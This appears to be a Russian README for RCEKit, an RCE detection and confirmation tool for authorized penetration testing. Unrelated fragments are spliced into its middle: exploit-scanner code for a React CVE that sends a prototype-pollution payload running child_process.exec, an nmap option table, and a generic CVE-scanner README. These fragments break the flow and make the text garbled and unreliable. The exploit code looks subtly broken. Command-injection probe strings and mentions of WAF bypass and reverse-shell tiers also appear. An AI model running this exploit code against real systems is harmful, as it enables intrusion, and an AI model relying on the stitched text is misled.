Набор инструментов для обнаружения и подтверждения RCE, который проверяет URL-адреса или перехваченные HTTP-запросы на предмет инъекции команд, SSTI, слепых и OOB-путей, возвращая многоуровневые вердикты с доказательствами.
confirmed означает, что цель выполнила ввод. negative означает, что пробы дошли до неё.
Версия 2.40.0 · MIT · Python 3.8+ · без сторонних зависимостей
RCEKit — это инструмент обнаружения и подтверждения RCE для авторизованного тестирования на проникновение, red teaming и исследований в области безопасности. Укажите ему на цель, которую вам разрешено тестировать — URL или перехваченный HTTP-запрос — и каждая находка вернётся с уровнем, который она заслужила.
Каждый confirmed опирается на значение, которое RCEKit сгенерировал случайно для
этой пробы и которое отражение не может воспроизвести: вычисленный результат,
присутствующий в ответе и отсутствующий в контрольном запросе без полезной нагрузки,
или внешний обратный вызов, несущий токен, которым владела только цель. Более слабые
сигналы сохраняют свои собственные уровни и никогда не повышаются до него. А запуск,
который не смог что-то протестировать, никогда не сообщает об этом как о чистом
результате.
RCEKit подтверждает RCE через несколько методов в одном CLI. Ниже он направлен на реальные, публично задокументированные CVE в production-ПО — каждый вердикт сравнивается с контрольным запросом без полезной нагрузки:
| Класс RCE | --methods | Реальная цель | Вердикт |
|---|
| Инъекция команд ОС (на основе результатов) | reflected | Webmin 1.910 — CVE-2019-15107 | confirmed |
| Инъекция выражений (OGNL) | eval | Apache Struts2 — S2-001 | confirmed |
| Поиск выражений (Log4Shell/JNDI) | lookup | Apache Solr 8.11.0 (Log4j 2.14.1) — CVE-2021-44228 | lookup-sink |
| Слепая инъекция команд (без вывода) | time | Webmin 1.910 — CVE-2019-15107 | needs-review |
Каждая строка воспроизводится в tests/bench/, который запускает
RCEKit против этих сборок под Docker и проверяет вердикт и его негативный
контроль. Последний успешный запуск на 2.36.0 (2026-09-20): 3/3 случая. Это
утверждение на момент времени, а не непрерывное — бенчмарк запускается по
расписанию, а не при каждом изменении.
Каждый контроль — это настоящий тест строки. Struts2, проверенный с reflected,
возвращает negative, потому что S2-001 перевычисляет OGNL, и за ним нет шелла.
Сигнал time у Webmin удерживается на needs-review на цели, где он случайно
оказывается верным. А Solr, проверенный с oob, возвращает negative
хотя он эксплуатируем — oob строит команды шелла, а sink ${jndi:...} не
запускает ни одну из них, и это тот пробел, который существует, чтобы закрыть
lookup, измеренный, а не заявленный.
Строка Log4Shell говорит lookup-sink, а не confirmed: обратный вызов
доказывает, что sink разрешил URI, выбранный RCEKit. Для достижения RCE нужен
сервер, который отвечает на lookup загружаемым классом, а при уровне риска по
умолчанию исходящим идёт только jndi:dns:// — поиск имени, без соединения за
ним, на котором такой сервер мог бы ответить.
reflected — инъекция команд ОС, Webmin CVE-2019-15107 → confirmed
eval — инъекция выражений OGNL, Apache Struts2 S2-001 → confirmed
lookup-sink
time — слепая инъекция команд, Webmin CVE-2019-15107 → needs-review
У RCEKit есть две поддерживаемые формы, и ни одна из них не является запасным вариантом для другой.
Установите его — pipx держит CLI в собственном окружении, что вам и нужно
для инструмента, а не для библиотеки:```bash
pipx install rcekit # or: pip install rcekit
rcekit --doctor # confirms the corpus it will run with
**Или возьмите только один файл.** Корпус полезных нагрузок встроен в модуль, поэтому
`rcekit.py` работает сам по себе, без ничего рядом — никакого шага установки, никаких
site-packages, ничего, что можно было бы оставить после себя. На клиентском jump-хосте, в изолированной
среде или где угодно, где `pip install` недоступен:```bash
curl -O https://raw.githubusercontent.com/kabiri-labs/rcekit/main/rcekit.py
python rcekit.py --doctor # same corpus, same check, zero installation
Оба запускают один и тот же код и выдают одинаковые вердикты. Работа из checkout — третий способ, и он тоже не требует установки:```bash git clone https://github.com/kabiri-labs/rcekit.git cd rcekit # Python 3.8+, standard library only
Поставьте маркер `FUZZ` там, где попадает ваш ввод (или выберите параметр с помощью `-p` при
использовании перехваченного запроса), и попросите RCEKit доказать RCE:```bash
rcekit --acknowledge-consent \
--verify-url "https://target.example/lookup?host=FUZZ" \
--methods reflected,eval
def __init__(self, target, port, timeout=10, verbose=False):
self.target = target
self.port = port
self.timeout = timeout
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def log(self, message, level='info'):
"""Логирование сообщений"""
if level == 'error':
print(f"{Colors.RED}[!] {message}{Colors.RESET}")
elif level == 'success':
print(f"{Colors.GREEN}[+] {message}{Colors.RESET}")
elif level == 'warning':
print(f"{Colors.YELLOW}[*] {message}{Colors.RESET}")
else:
if self.verbose:
print(f"{Colors.BLUE}[i] {message}{Colors.RESET}")
def check_vulnerability(self):
"""Проверка уязвимости CVE-2025-55182"""
self.log(f"Проверка {self.target}:{self.port} на наличие CVE-2025-55182...")
try:
# Проверка доступности цели
url = f"http://{self.target}:{self.port}"
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
self.log(f"Цель доступна: {url}", 'success')
# Проверка версии React
if self.check_react_version(response.text):
self.log("Обнаружена уязвимая версия React", 'warning')
return True
else:
self.log(f"Цель вернула код {response.status_code}", 'warning')
except requests.exceptions.ConnectionError:
self.log(f"Не удалось подключиться к {self.target}:{self.port}", 'error')
except requests.exceptions.Timeout:
self.log(f"Превышено время ожидания для {self.target}:{self.port}", 'error')
except Exception as e:
self.log(f"Ошибка: {str(e)}", 'error')
return False
def check_react_version(self, html_content):
"""Проверка версии React в HTML"""
# Поиск версии React в HTML
patterns = [
r'react@([\d.]+)',
r'react-([\d.]+)\.min\.js',
r'"version":\s*"([\d.]+)"'
]
for pattern in patterns:
matches = re.findall(pattern, html_content)
for version in matches:
self.log(f"Найдена версия React: {version}")
# Уязвимые версии: 19.0.0 - 19.2.0
if self.is_vulnerable_version(version):
return True
return False
def is_vulnerable_version(self, version):
"""Проверка, является ли версия уязвимой"""
try:
parts = version.split('.')
major = int(parts[0])
minor = int(parts[1]) if len(parts) > 1 else 0
patch = int(parts[2]) if len(parts) > 2 else 0
# Уязвимость затрагивает React 19.0.0 - 19.2.0
if major == 19:
if minor >= 0 and minor <= 2:
return True
return False
except (ValueError, IndexError):
return False
def exploit(self):
"""Эксплуатация уязвимости"""
self.log("Попытка эксплуатации CVE-2025-55182...")
try:
# Создание вредоносного payload
payload = self.create_payload()
# Отправка эксплойта
url = f"http://{self.target}:{self.port}/api/react"
headers = {
'Content-Type': 'application/json',
'X-React-Version': '19.0.0'
}
response = self.session.post(
url,
json=payload,
headers=headers,
timeout=self.timeout
)
if response.status_code == 200:
self.log("Эксплуатация успешна!", 'success')
return True
else:
self.log(f"Эксплуатация не удалась: {response.status_code}", 'error')
except Exception as e:
self.log(f"Ошибка эксплуатации: {str(e)}", 'error')
return False
def create_payload(self):
"""Создание payload для эксплуатации"""
payload = {
"type": "react.element",
"props": {
"__proto__": {
"polluted": True,
"isAdmin": True,
"rce": "require('child_process').exec('id')"
}
},
"children": []
}
return payload
class Scanner:
"""Основной класс сканера"""
def __init__(self, targets, ports, threads=10, timeout=10, verbose=False):
self.targets = targets
self.ports = ports
self.threads = threads
self.timeout = timeout
self.verbose = verbose
self.results = []
self.lock = threading.Lock()
def scan_target(self, target, port):
"""Сканирование одной цели"""
scanner = ReactScanner(target, port, self.timeout, self.verbose)
if scanner.check_vulnerability():
if scanner.exploit():
with self.lock:
self.results.append({
'target': target,
'port': port,
'vulnerable': True,
'exploited': True
})
return True
return False
def run(self):
"""Запуск сканирования"""
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
print(f"{Colors.CYAN}CVE-2025-55182 Scanner v1.0{Colors.RESET}")
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
print(f"Целей: {len(self.targets)}")
print(f"Портов: {len(self.ports)}")
print(f"Потоков: {self.threads}")
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}\n")
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = []
for target in self.targets:
for port in self.ports:
future = executor.submit(self.scan_target, target, port)
futures.append(future)
for future in as_completed(futures):
try:
future.result()
except Exception as e:
if self.verbose:
print(f"{Colors.RED}[!] Ошибка: {str(e)}{Colors.RESET}")
self.print_results()
def print_results(self):
"""Вывод результатов"""
print(f"\n{Colors.CYAN}{'='*60}{Colors.RESET}")
print(f"{Colors.CYAN}Результаты сканирования{Colors.RESET}")
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
if self.results:
print(f"{Colors.GREEN}Найдено уязвимых целей: {len(self.results)}{Colors.RESET}\n")
for result in self.results:
print(f"{Colors.GREEN}[+] {result['target']}:{result['port']}{Colors.RESET}")
print(f" Уязвимость: CVE-2025-55182")
print(f" Эксплуатация: {'Успешно' if result['exploited'] else 'Не удалось'}")
print()
else:
print(f"{Colors.YELLOW}Уязвимых целей не найдено{Colors.RESET}")
print(f"{Colors.CYAN}{'='*60}{Colors.RESET}")
[detect] methods: reflected, eval [detect] sent 13 probes: confirmed=4, negative=9
[detect] CONFIRMED execution (4): [reflected/unix/raw] ; echo RKYZRIP$((540141+314681))RKFWVFS$(echo RKBWOOC)RKYZRIP (target computed 'RKYZRIP854822RKFWVFSRKBWOOCRKYZRIP' — random operands, absent from control)
### Из перехваченного запроса — форма, которая есть у большинства реальных целей
`--verify-url` несёт только URL и ничего больше. Большинство интересных для тестирования стоков находятся за POST-запросом с сессионной cookie, content type и телом, и RCEKit принимает этот запрос целиком: сохраните его из вашего прокси или devtools браузера и укажите поле для инъекции.```bash
rcekit --acknowledge-consent \
-r search.req -p q \
--methods reflected,eval
| -s | Silent mode. Suppress all output except errors. |
| -v | Verbose mode. Show detailed progress information. |
| -o <file> | Write output to the specified file instead of stdout. |
| -f <format> | Specify the output format (json, csv, xml). |
| -t <target> | Set the target host or URL to scan. |
| -p <ports> | Specify the port range to scan (e.g., 1-1000). |
| -T <timing> | Set the timing template (0-5). Higher values are faster but less stealthy. |
| --script <name> | Run the specified NSE script against the target. |
| --exclude <hosts> | Exclude the specified hosts from the scan. |
| --randomize-hosts | Randomize the order in which hosts are scanned. |
| --max-retries <n> | Set the maximum number of retries for a probe. |
| --host-timeout <time> | Give up on a target host after the specified time. |
| --min-rate <n> | Send packets no slower than <n> per second. |
| --max-rate <n> | Send packets no faster than <n> per second. |
Простой скан одного хоста:
nmap 192.168.1.1
Скан определённых портов:
nmap -p 22,80,443 192.168.1.1
Скан с определением версий служб:
nmap -sV 192.168.1.1
Скан с использованием NSE-скриптов:
nmap --script vuln 192.168.1.1
Скан всей подсети:
nmap 192.168.1.0/24
Сохранение результатов в файл:
nmap -oN scan_results.txt 192.168.1.1
Пример вывода команды nmap -sV 192.168.1.1:
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-01 12:00 UTC
Nmap scan report for 192.168.1.1
Host is up (0.0023s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.45 seconds
Nmap распространяется под лицензией Nmap Public Source License, которая является вариантом GNU GPLv2.``` [detect] sent 4 probes: confirmed=3, negative=1
[detect] CONFIRMED execution (3): [reflected/unix/raw] ; echo RKHWNHK$((114157+752773))RKXGFIH$(echo RKHSEIF)RKHWNHK (target computed 'RKHWNHK866930RKXGFIHRKHSEIFRKHWNHK' — random operands, absent from control)
Метод, путь, заголовки, тело и cookies переиспользуются в том виде, в каком были захвачены, и каждое значение кодируется для того контекста, в который оно попадает — JSON-лист, поле формы и cookie экранируются по-разному. Уберите `-p` и отметьте место с помощью `FUZZ` или `*`, если предпочитаете.
### Всё, что есть в инструменте
Две вещи достижимы только из захваченного запроса: **перечисление точек инъекции** (`--auto-params`) и любой sink, которому нужна сессия. Поэтому самый полный запуск, который может выполнить RCEKit, начинается с `-r`, а не с URL — это стоит знать, прежде чем делать вывод, что цель чиста.```bash
rcekit --acknowledge-consent \
-r search.req --auto-params all --point-order thorough \
--methods reflected,eval,time,lookup,deser \
--oob-host oob.yourdomain.example --listen-dns-port 53 \
--verify-active-risk stateful --probe-depth full \
--detect-json findings.json
| --proxy | Прокси-сервер для использования (например, http://127.0.0.1:8080) |
| --timeout | Тайм-аут запроса в секундах (по умолчанию: 10) |
| --user-agent | Пользовательский User-Agent |
| --headers | Дополнительные заголовки в формате Key: Value (можно повторять) |
| --cookie | Строка Cookie |
| --follow-redirects | Следовать перенаправлениям HTTP |
| --max-redirects | Максимальное количество перенаправлений (по умолчанию: 5) |
| --verify-ssl | Проверять SSL-сертификаты (по умолчанию: true) |
| --threads | Количество параллельных потоков (по умолчанию: 10) |
| --delay | Задержка между запросами в миллисекундах |
| --rate-limit | Максимальное количество запросов в секунду |
| --retries | Количество повторных попыток при неудачных запросах (по умолчанию: 3) |
| --output | Путь к выходному файлу |
| --format | Формат вывода: json, csv, table (по умолчанию: table) |
| --verbose | Включить подробное логирование |
| --silent | Подавить весь вывод, кроме результатов |
| --no-color | Отключить цветной вывод |
# Базовое сканирование
python3 cve_scanner.py --target https://example.com
# Сканирование с пользовательскими заголовками
python3 cve_scanner.py --target https://example.com --headers "Authorization: Bearer token"
# Сканирование с прокси и увеличенным тайм-аутом
python3 cve_scanner.py --target https://example.com --proxy http://127.0.0.1:8080 --timeout 30
# Вывод в формате JSON
python3 cve_scanner.py --target https://example.com --format json --output results.json
# Сканирование нескольких целей из файла
python3 cve_scanner.py --targets-file targets.txt --threads 20
from cve_scanner import CVEScanner
scanner = CVEScanner(
target="https://example.com",
timeout=10,
threads=10,
verify_ssl=True
)
results = scanner.scan()
for result in results:
print(f"{result['cve_id']}: {result['severity']} - {result['description']}")
cve_scanner/
├── __init__.py
├── scanner.py # Основная логика сканирования
├── cve_database.py # Интеграция с базой данных CVE
├── http_client.py # HTTP-клиент с обработкой ошибок
├── detectors/ # Модули обнаружения уязвимостей
│ ├── __init__.py
│ ├── base.py # Базовый класс детектора
│ ├── apache.py # Детекторы для Apache
│ ├── nginx.py # Детекторы для Nginx
│ ├── wordpress.py # Детекторы для WordPress
│ └── ...
├── reporters/ # Модули вывода результатов
│ ├── __init__.py
│ ├── json_reporter.py
│ ├── csv_reporter.py
│ └── table_reporter.py
└── utils/ # Вспомогательные утилиты
├── __init__.py
├── logger.py
└── validators.py
Чтобы добавить новый детектор уязвимостей, создайте класс, наследующий от BaseDetector:
from detectors.base import BaseDetector
class MyCustomDetector(BaseDetector):
"""Пользовательский детектор для конкретной уязвимости."""
name = "My Custom Detector"
description = "Обнаруживает конкретную уязвимость"
def detect(self, target, response):
"""
Обнаруживает уязвимость.
Args:
target: URL цели
response: HTTP-ответ
Returns:
dict или None: Информация об уязвимости, если обнаружена
"""
if "vulnerable_pattern" in response.text:
return {
"cve_id": "CVE-XXXX-XXXX",
"severity": "HIGH",
"description": "Описание уязвимости",
"evidence": "Доказательство обнаружения"
}
return None
# Запуск всех тестов
pytest tests/
# Запуск с покрытием
pytest --cov=cve_scanner tests/
# Запуск конкретного теста
pytest tests/test_scanner.py::test_basic_scan
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.
Этот инструмент предназначен только для образовательных целей и тестирования на проникновение с санкционированного разрешения. Использование этого инструмента против целей без предварительного взаимного согласия является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.
⭐ Если этот проект оказался полезным, поставьте звезду на GitHub!``` [verify] loaded request from search.req: enumerating 4 injection point(s) [detect] enumerating 4 injection point(s) x 3 method(s) [detect] cost: 4 points x ~1739 probes = at least 6964 requests [detect] body param 'q': confirmed (1544 probes) <-- CONFIRMED [detect] sent 6371 probes: confirmed=446, negative=5925
Что открывает каждый флаг:
| | |
|---|---|
| `--auto-params all` | каждое значение запроса, JSON-лист, поле формы, multipart-часть, cookie и заголовок, вместо одного именованного поля |
| `--point-order thorough` | каждый заголовок, кроме hop-by-hop, а не только высокодоходные |
| `--methods ...,lookup,deser` | стоки expression-lookup и десериализации, до которых не дотягиваются методы shell-формы |
| `--oob-host` | хост для callback в слепых методах. Нужен делегированный вам домен; для порта 53 нужен root |
| `--verify-active-risk stateful` | высшая ступень — добавляет формы проб, заставляющие цель обращаться по адресу, который RCEKit не выбирал |
| `--probe-depth full` | каждая форма break-out для каждого стока, а не только дешёвые |
| `--detect-json` | те же вердикты в машиночитаемом JSON |
**Это очень много запросов.** Строка стоимости печатается до того, как что-либо сработает, а `--max-points` / `--max-payloads` ограничивают её. Запускайте против экземпляра, который вам разрешено ломать: `--verify-active-risk stateful` — это уровень для одноразовой цели, а не для продакшена.
Никакой внешней инфраструктуры, никакого файла конфигурации.
**Не доверяйте GIF-файлам на слово** — [воспроизведите их сами](https://github.com/kabiri-labs/rcekit/blob/main/docs/verify-it-yourself.md) против докеризованных целей Webmin и Struts2 примерно за пять минут.
**Далее:** [**полевое руководство**](https://github.com/kabiri-labs/rcekit/blob/main/docs/guide.md) разбирает реальные ситуации — перехваченные запросы, WAF, отфильтрованные разделители, экранированные стоки, слепые цели и цели без исходящего трафика — по одному проработанному примеру на каждую.
---
## Что означает вердикт
Найти *кандидата* на RCE легко. Сложная часть — сообщить о таком, который выдержит чужой ретест, и здесь провал возможен в двух направлениях: «возможно уязвимо», которое оказывается отражением, и «не уязвимо» из запуска, который на самом деле ничего не тестировал.
RCEKit отвечает **восемью вердиктами, которые никогда не смешиваются друг с другом**:
| Вердикт | Что он утверждает |
|---|---|
| **`confirmed`** | Цель выполнила входные данные. Она вернула значение, которое не могла бы получить иначе — вычисленное из операндов, случайных для этой пробы — и это значение отсутствует в контрольном запуске без полезной нагрузки. |
| **`deserialization-sink`** | Цель восстановила граф объектов, предоставленный атакующим. Доказано, но касается *другого свойства*: достижение RCE оттуда зависит от гаджетов в classpath, поэтому это никогда не называется RCE. |
| **`lookup-sink`** | Цель разрешила URI, который ей передал RCEKit — выражение `${jndi:…}` дошло до lookup, что доказано по callback, несущему токен, который был только у этой пробы. Это сток, а не выполнение: для достижения RCE оттуда нужен сервер, отвечающий загружаемым классом. |
| **`needs-review`** | Реальный сигнал, который сам по себе не является доказательством — линейная регрессия по времени, отпечаток парсера. Стоит вашего времени, но никогда не стоит слова «confirmed». |
| **`inconclusive`** | Доказательство появилось, но не может быть приписано выполнению — контрольный запуск без полезной нагрузки тоже его нёс. |
| **`negative`** | Пробы были построены, достигли цели и ничего не нашли. |
| **`error`** | Ничего не достигло цели. |
| **`nothing-tested`** | Пробы вообще не были построены. |
Как только `confirmed` и `maybe` размываются, `confirmed` перестаёт что-либо значить — поэтому ничто никогда не повышается в статусе. Регрессия по времени остаётся `needs-review`, каким бы чистым ни был наклон. Callback десериализации остаётся `deserialization-sink`, как бы вы ни были уверены, что classpath эксплуатируем.
### Другая половина: запуск, который ничего не протестировал, никогда не бывает чистым
Последние две строки — те, которых нет у других инструментов, и они важнее, чем кажутся. Сканер, который не смог достичь цели или не построил ни одной пробы, потому что ваши флаги исключили их все, не узнал о цели **ничего** — и напечатать там `negative` — это ложь, которая читается точно так же, как безопасность.
Поэтому `error` и `nothing-tested` — это полноценные вердикты, запуск завершается с ненулевым кодом, и RCEKit сообщает, какой из них произошёл и почему:```
[!] No probes were built, so NOTHING WAS TESTED — this is not a negative result.
[!] None of the selected methods (reflected, file) apply to environment(s): sql.
Он срабатывает везде, где запуск может незаметно стать пустым: метод, который не применим к выбранным окружениям, ступень --sink-shape, для которой у выбранной оболочки нет синтаксиса, выбор --bridges, полностью заблокированный потолком безопасности, тело запроса, которое сломало доставку ещё до того, как прибыло.
Запуск, который был ослеплён лишь частично, получает ту же обработку на уровень ниже. Если вы запросили oracle второго порядка, а наблюдаемая конечная точка так и не ответила, вердикты проб всё равно остаются в силе — но запуск сообщает вам, что они были вынесены без единого чтения канала, на который вы указали, вместо того чтобы позволить им сойти за отрицательный результат второго порядка.
Один CLI, один флаг --methods, охватывающий основные пути к RCE:
| Класс RCE | --methods | Как RCEKit это доказывает |
|---|---|---|
| Инъекция команд ОС | reflected | Заставляет оболочку вычислить $((a+b)) на случайных операндах и схлопнуть $(echo TAG); подтверждает результат, никогда — литеральное выражение. Написано на диалекте самого sink'а — POSIX, cmd.exe или PowerShell. |
Инъекция кода / выражений — SSTI, SpEL, OGNL, Groovy, eval() (CWE-94) | eval | Внедряет a*b во всех распространённых синтаксисах шаблонов (${…} {{…}} #{…} %{…} <%=…%> @(…), без обёртки); подтверждает, что появляется произведение, тогда как литерал a*b — нет. |
| Слепая инъекция команд (без вывода) | time | Запускает контролируемую серию задержек 0/N/2N и подтверждает, что время отклика отслеживает задержку линейно; сообщается как needs-review — джиттер не может это подделать, но время не является вычисленным значением. |
| Внутренние цели / без выхода наружу | file | Записывает случайный токен и извлекает его обратно через любой путь чтения — веб-корень, параметр LFI, обработчик загрузки или экспорта, превью на базе /tmp. Доказывает выполнение плюс примитив записи, без внешнего слушателя. |
| Примитив загрузки / записи — PUT-a-JSP, неконтролируемая загрузка (CWE-434) | write | Записывает однострочник, который вычисляет произведение через ваш собственный запрос загрузки, затем извлекает файл: произведение — это confirmed RCE, а исходник, возвращающийся дословно, — needs-review — произвольная запись файла, отдаваемого, но не интерпретируемого. |
| Sink'и десериализации — fastjson, shiro, weblogic (CWE-502) | deser | Доказывает, что конечная точка десериализует данные атакующего, через неисполняемый DNS-гаджет или дифференциал по форме ошибки. Сообщается как , как RCE. |
Три вещи расширяют охват этих методов, не меняя того, что любой из них назовёт confirmed:
--observe-url) — когда полезная нагрузка попадает в один запрос, а выполняется в другом: сохранённый SSTI, отрендеренный на странице профиля, полезная нагрузка, записанная в лог, который позже рендерит шаблонизатор, задача в очереди. Наблюдаемая конечная точка сравнивается со снимком, сделанным до отправки любой пробы.--bridges) — COPY … FROM PROGRAM, xp_cmdshell, expect://. Мост — это носитель, а не oracle: он оборачивает команду, которую методы и так строят, поэтому через него применяются те же уровни.-p all) — query, листья JSON, поля форм, части multipart, cookies, заголовки и сегменты пути, каждый кодируется под место попадания, со стоимостью проб, выводимой до того, как что-либо сработает. Тело GraphQL упорядочивается по тому, что действительно может подтвердить: variables, которые резолвер читает раньше самого документа операции.Смешивайте методы свободно: --methods reflected,eval,time запускает все три и сообщает по каждому уровню отдельно.
Честные границы. RCEKit подтверждает RCE, достижимый путём инъекции в запрос и интерпретируемый оболочкой или вычислителем. Он не покрывает баги повреждения памяти (переполнение буфера, UAF) или инъекцию аргументов в массив
argvбез оболочки — это другие проблемы. Цепочки гаджетов десериализации тоже вне области охвата:--methods deserдоказывает, что конечная точка десериализует данные атакующего, и говорит об этом в своём собственном уровне, но какой гаджет (если вообще какой-либо) превращает это в выполнение, зависит от classpath цели, и RCEKit не претендует на знание этого. Он стремится быть превосходным в перечисленных выше классах RCE, управляемых инъекцией, а не посредственным во всём.
Другие инструменты в этой области созданы, чтобы провести вас внутрь. RCEKit создан так, чтобы находка выдержала чужую проверку — ретест клиента, очередь триажа, ревью отчёта. Эта разница проявляется трижды.
Вы редко знаете класс до начала тестирования. Покрытие неизвестного sink'а одноклассовыми инструментами означает запуск каждого по очереди и пересборку запроса для каждого:
| Может подтвердить | RCEKit | commix | SSTImap | Nuclei |
|---|---|---|---|---|
| Инъекция команд ОС | ✅ | ✅ (весь его охват) | — | по шаблону |
| Инъекция выражений / SSTI | ✅ | через его технику на основе eval | ✅ (весь его охват) | по шаблону |
| Слепая — тайминг | ✅ как отдельный уровень | ✅ | ✅ | — |
| Слепая — out-of-band | ✅ встроенный слушатель | — | — | через interactsh |
| Без выхода наружу — запись и чтение обратно | ✅ любой путь чтения | ✅ (веб-корень) | — | — |
Sink'и cmd.exe и PowerShell | ✅ пробы по диалектам | ✅ (cmd) | — | по шаблону |
| Загрузка → запись-затем-выполнение | ✅ запись vs. выполнение, отдельные уровни | — | — | по шаблону |
| Второй порядок — попадает здесь, выполняется там | ✅ | — | — | — |
| Мост к языку запросов до ОС | ✅ | — | — | по шаблону |
| Sink десериализации | ✅ собственный уровень, никогда не называется RCE | — | — | по шаблону |
| Всё вышеперечисленное, один CLI, один запуск | ✅ | — | — | — |
Охват по собственному документированному списку техник каждого проекта. SSTImap — поддерживаемый преемник tplmap, который его автор пометил как неподдерживаемый.```bash
python rcekit.py --acknowledge-consent -r request.txt -p host --methods reflected,eval,time
### 2. Он спорит со своими же результатами
Инструмент сообщает о том, что он обнаружил. RCEKit также сообщает о том, **чему он отказался верить** —
`inconclusive` — это отдельный вердикт, для свидетельств, которые появились, но не могли
быть отнесены к выполнению:```
[detect] methods: reflected, eval
[detect] sent 13 probes: confirmed=0, inconclusive=2, negative=11
Те два были бы чьей-то чужой находкой. Пять механизмов выносят этот вердикт, и они срабатывают при каждом подтверждении:
inconclusive,
а не находка.$((a+b)); только исполнение возвращает значение.confirmed.Тот же инстинкт работает и в обратную сторону. Тайминг никогда не самоподтверждается, обратный вызов десериализации никогда не называется RCE, а запуск, который не построил ни одного зонда, никогда не называется отрицательным.
Контроли, о которых на самом деле спрашивают правила взаимодействия клиента, — в инструменте, а не в ваших заметках:
| Шлюз согласия | Ничего эксплуатирующего не генерируется и не запускается без --acknowledge-consent. |
| План выполнения | Печатает точное число зондов, формы стоков, уровни безопасности и любые исходящие адреса обратных вызовов до отправки первого запроса. |
| Безопасность по умолчанию | Обратные оболочки, доступ к учётным данным, облачные метаданные, боковое перемещение и выход из контейнера удерживаются, пока вы не поднимете --verify-active-risk; для персистентности и бэкдоров нужен ещё один флаг сверху. Мосты, создающие объект на цели, ограничены тем же потолком. |
| Команды очистки | file, write и мосты с сохранением состояния меняют состояние цели, поэтому каждая находка — включая needs-review — печатает, что запустить, чтобы отменить это. |
| Учётные данные остаются на месте | Обратное чтение через file несёт заголовки Authorization/Cookie запуска только к тому же источнику и говорит об этом вслух, когда удерживает их. Запрос наблюдаемого канала не отправляет их вовсе, если вы не передадите ему запрос с --observe-request. |
| Журнал аудита с редактированием | Каждый запуск попадает в exploit_audit.log, фиксируя, что заголовок с учётными данными был отправлен, но никогда — его значение. |
| Водяные знаки | --watermark вставляет отслеживаемый токен в каждую полезную нагрузку, так что полезная нагрузка, найденная в логах клиента месяцы спустя, может быть приписана вашему запуску. |
| Никаких сторонних обратных вызовов | OOB-слушатель ваш. Ничего не маршрутизируется через публичный сервер взаимодействия, что некоторые проекты прямо запрещают. |
| Один файл из стандартной библиотеки | rcekit.py работает сам по себе — на jump box, на изолированном хосте, где угодно, где pip install не вариант. |
Хотите оболочку, а не вердикт? commix и SSTImap продолжают в
постэксплуатацию; RCEKit по замыслу останавливается на доказательстве. Прочесать тысячи хостов
на известные CVE? Это работа Nuclei — и RCEKit пишет шаблоны Nuclei
(--output-format nuclei), так что он питает ваш сканер, а не конкурирует с ним.
Уже знаете, что инъекция — это SQL, и хотите саму базу данных?
sqlmap владеет этой территорией — мосты RCEKit
существуют, чтобы доказать, что ОС достижима из текстового параметра, а не чтобы
эксплуатировать базу данных.
Каждая строка — это проработанный пример в полевом руководстве — команда, что она отправляет и как читать то, что возвращается.
| Ситуация | Перейти к |
|---|---|
| У меня есть URL и параметр | Указать на URL |
| У меня есть запрос, сохранённый из Burp | Указать на захваченный запрос |
| Приложение — это JSON / полезную нагрузку постоянно искажают | Доставка полезной нагрузки в целости |
| Я не знаю, к какому классу это относится | Выбор методов |
Сток удаляет ; | Когда сток фильтрует разделители |
Мой ввод попадает внутрь 'quotes' | Инъекция внутри кавычек |
| Сток выполняет мой ввод как всю команду | Стоки с полной командой |
| Цель — Windows или сток — PowerShell | Стоки Windows и PowerShell |
| Есть WAF | Обход WAF |
| Вывод вообще не возвращается | Слепые цели |
| Нет вывода и нет исходящего трафика | Цели без исходящего трафика |
| Запрос сохраняет файл вместо выполнения чего-либо | Цели с загрузкой и примитивом записи |
| Полезная нагрузка выполняется позже, в другом запросе |
| Проверьте сами | Воспроизведите подтверждения выше на своей машине против докеризованных уязвимых целей. Пять минут. |
| Полевое руководство | Пошаговое руководство на примерах для каждой реальной ситуации, от первого зонда до многошаговых цепочек. Начните здесь. |
| Генерация полезных нагрузок и экспорт | RCEKit как генератор полезных нагрузок: профили целей и экспорт для Burp / ffuf / Nuclei. |
| Справочник | Каждый флаг, окружение, категория, контекст, кодировка и сток выполнения кода. |
| CHANGELOG.md | Что изменилось в каждом релизе и что перепроверить при обновлении. |
| CONTRIBUTING.md | Как добавлять стоки, категории, кодировки и методы обнаружения. |
| SECURITY.md | Сообщение об уязвимости в самом RCEKit. |
RCEKit эксплуатирует, и в этом суть. Уязвимость подтверждается тем, что цель заставляют сделать эту вещь, потому что это единственное доказательство, которое сигнатура не может подделать, а пропатченная сборка не может выдать случайно. Запуск ограничивают не нежелание эксплуатировать. Его ограничивают два структурных факта и один переключатель.
Он не принимает от вас произвольную полезную нагрузку. Зонды строятся движком, чтобы служить оракулу — арифметика над операндами, случайными для этого зонда, имя, которое мог выбрать только этот запуск. Нет такого ввода, который превращает обнаружение во что-то другое, потому что такого ввода просто нет.
Всё, что выходит за пределы вычисления значения, объявляет нужный ему уровень, так что один
флаг решает, как далеко зайдёт запуск: --verify-active-risk safe | intrusive | stateful. Метод или отдельная форма зонда выше этого уровня удерживается по
имени, вместе с флагом, который бы его отправил — лестница, которая тихо укорачивается,
неотличима от цели, где нечего найти. Против одноразового
экземпляра поднимите уровень и получите всё, что есть у инструмента.
